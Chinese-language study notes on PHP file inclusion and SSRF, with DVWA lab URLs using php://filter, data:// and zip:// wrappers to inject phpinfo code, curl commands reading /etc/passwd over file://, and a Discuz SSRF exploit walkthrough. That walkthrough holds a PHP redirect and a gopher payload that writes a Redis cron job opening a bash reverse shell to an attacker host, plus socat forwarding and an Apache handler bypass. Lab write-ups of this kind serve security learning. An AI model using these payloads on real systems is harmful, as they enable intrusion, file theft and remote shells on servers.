SSRF——和远程文件包含的区别在于远程文件包含多是包含攻击者的主机文件,SSRF是内网主机的文件
include()、include_once()、require()、require_once()
它们的函数作用是:语句包含并运行指定文件
highlight_file()、show_source()
函数对文件进行高亮显示
readfile()
输出文件,读取文件并写入到输出缓冲
file_get_contents()
将整个文件读入到一个字符串
fopen()
将filename指定的名字资源绑定到一个流上
file()
把整个文件读入一个数组
file_put_contents()
将字符写入一个文件
2|0环境
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,远程文件包含需要
3|0获取shell
通过上传一个木马文件,非动态后缀文件即可,然后包含于它即可运行
4|0php伪协议
4|1http(s)
访问一个网址
受allow_url_fopen的影响
受allow_url_include的影响
4|2file://
访问本地文件系统,当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
不受allow_url_fopen的影响
4|3php://
访问各个输入/输出流
php://stdin 是只读
php://stdout和php://stderr是只写
php://input 是可以访问请求的原始数据的只读流, enctype="multipart/form-data" 的时候 php://input 是无效的。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
...
不受allow_url_fopen影响
php://input受allow_url_include影响
4|4zlib:// bzip2:// zip://
不受allow_url_fopen影响
压缩流
4|5data://
数据
受allow_url_fopen影响
受allow_url_include影响
4|6glob://
查找匹配的文件路径模式
不受allow_url_fopen影响
不受allow_url_include影响
4|7phar://
php归档
不受allow_url_fopen影响
不受allow_url_include影响
...(详细参考php官网)
5|0dvwa环境实验
5|1file://
绝对路径
调用phpinfo
把1.txt放入上级目录
相对路径失败
5|2php协议
php://filter
用法参考:https://www.cnblogs.com/natian-ws/p/7242477.html
ctf:https://blog.csdn.net/itmincherry/article/details/96166423
php://filter/read
php://filter/write
源码:
http://192.168.1.172/include.php?file=php://filter/write/convert.base64-decode/resource=1.php&c=PD9waHAgcGhwaW5mbygpOz8+
这里+没有经过url编码,所以
http://192.168.1.172/include.php?file=php://filter/write/convert.base64-decode/resource=1.php&c=PD9waHAgcGhwaW5mbygpOz8%2B
经过了Url编码
php://input
需要开启allow_url_include
学习链接:http://www.nowamagic.net/academy/detail/12220520
源码:
写入phpinfo()
5|3zip://,bzip2://,zlib://,phar://
读取压缩文件中的内容
准备好文件:
相对路径:
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=zip://../../hackable/uploads/phpinfo.zip%23phpinfo.txt
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=zip://C:/phpstudy/www/dvwa/hackable/uploads/phpinfo.zip%23phpinfo.txt
这里说明一下bzip2和zlib的用法
phar://
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/phpinfo.zip/phpinfo.txt
5|4http(s)
5|5data://
用法:data://text/plain,base64,base64编码内容
data://text/plain,正常内容
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php phpinfo();?>
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
__EOF__
0X01 什么地方最容易出现SSRF
云服务器商。(各种网站数据库操作)
有远程图片加载的地方。(编辑器之类的有远程图片加载啊)
网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
最后一个一切要你输入网址的地方和可以输入ip的地方,都是ssrf的天下。
0X02 SSRF漏洞的危害
对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
攻击运行在内网或者本地的应用程序
对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
下载内网资源(利用file协议读取本地文件等)
利用Redis未授权访问,HTTP CRLF注入达到getshell
wooyun峰会猪猪侠的ppt
进行跳板
无视cdn
0X03 SSRF神器Curl的使用
查看curl支持的协议列表 #curl—config –protocols
使用curl读取文件
curl -v file:///etc/passwd
使用ftp协议
curl -v "ftp://127.0.0.1:6666/info"
使用dict协议
curl -v "dict://127.0.0.1:6666/info"
使用gopher协议
curl -v "gopher://127.0.0.1:6666/_info"
0X04最常用的跳转绕过
0X05 Python+SSRF实现端口扫描
简单的端口扫描
同时观察Wireshark整个扫描流程
代码实现:
验证本地是否开启了相应的端口
Python代码编写的思路:
端口存在连接会一直在连接,连接时间会很长。
端口不存在的连接会被立马刷新
0X06 利用Discuz的SSRF漏洞GetShell
Discuz无条件限制ssrf漏洞(<=3.1测试是有这个漏洞)
实验环境:
172.28.100.109 为Discuz 3.1(Win10),172.28.100.108为Redis服务器(CentOS),hacker.xxxx.com为公网测试服务器主要存放ssrf用的php文件
Discuz3.1下载地址:
http://www.comsenz.com/downloads/install/discuzx#down_open
示例:
/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=dict%26ip=172.28.100.108%26port=6666%26data=hello.jpg[/img]
实际使用payload:
利用nc来测试SSRF漏洞
tcpdump抓包看到Discuz发来的数据包
nc也有反应了
基本可以确认这里是有SSRF漏洞
使用header 来配合ssrf漏洞利用,在我公网服务器放了一个ssrf.php
<?php
header("Location: ftp://172.28.100.108:6666/info");
?>
这里我是通过传参的方式,方便测试时候修改参数,代码如下:
PAYLOAD:
同样nc也接受到了数据,测试时候发现ftp协议比http要快一些
KALI机器打开socat端口转发(-v参数可以将转发过程的日志记录打印出来)
socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379
连接SSRF脚本
注意centos和ubuntu系统的计划任务有些不一样,centos默认在/var/spool/cron/root,ubuntu默认是在/etc/crontab
执行成功
第四步能执行成功的前提必须目标目录有写权限
到redis服务器的上查看/var/spool/cron目录下已经创建了root文件内容为
*/1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1
将socat的输出信息保存为1.txt,上传到公网服务器上
使用Python脚本转换为gopher支持的格式
注意最后要检查一下格式是否完整:*/1 * * * * bash -i >& /dev/tcp/hacker.xxx.com/99990>&1
新建gohper.php文件放到我自己的云服务器的网站根目录上,当Discuz访问gohper.php文件时候就会302跳转,使用gohper协议访问内部redis服务器
标准格式示例:
<?php
header("Location: gopher://172.28.100.108:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/hacker.xxxx.com/9999 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a");
?>
目标机器SSRF漏洞的利用
过程中使用Wireshark抓包观察过程
目标redis服务器上发现计划任务已经生效了,如果这里有乱码,请翻倒文章底部有解决方案
目标Redis的shell已经发给我的服务器了
0X07 简单的绕过SSRF图片的限制
Apache配置/etc/apache2/sites-enabled/,新建一个apache的配置文件123.conf
AddHandler application/x-httpd-php .php
这样apache就会把jpg也当作php解析;如果我们遇到限制了jpg后缀的ssrf漏洞就可以利用该方法,同理如果限制了txt的话。我们在apache设置把txt当作php解析即可。
将文件名命名为1.php.jpg即可访问
也可以这样写AddHandler application/x-httpd-php .jpg
0X08 可能遇到的问题
以下问题是因为我用的linux上vim编辑器导致的,后使用Sublime编辑器解决了乱码问题
0X09 常用挖掘SSRF漏洞的工具
利用F12,查看网站的网络请求
利用GoogleHacking,如site:www.baidu.com,然后查找网站是否有关于url的远程调用
作者:WHITE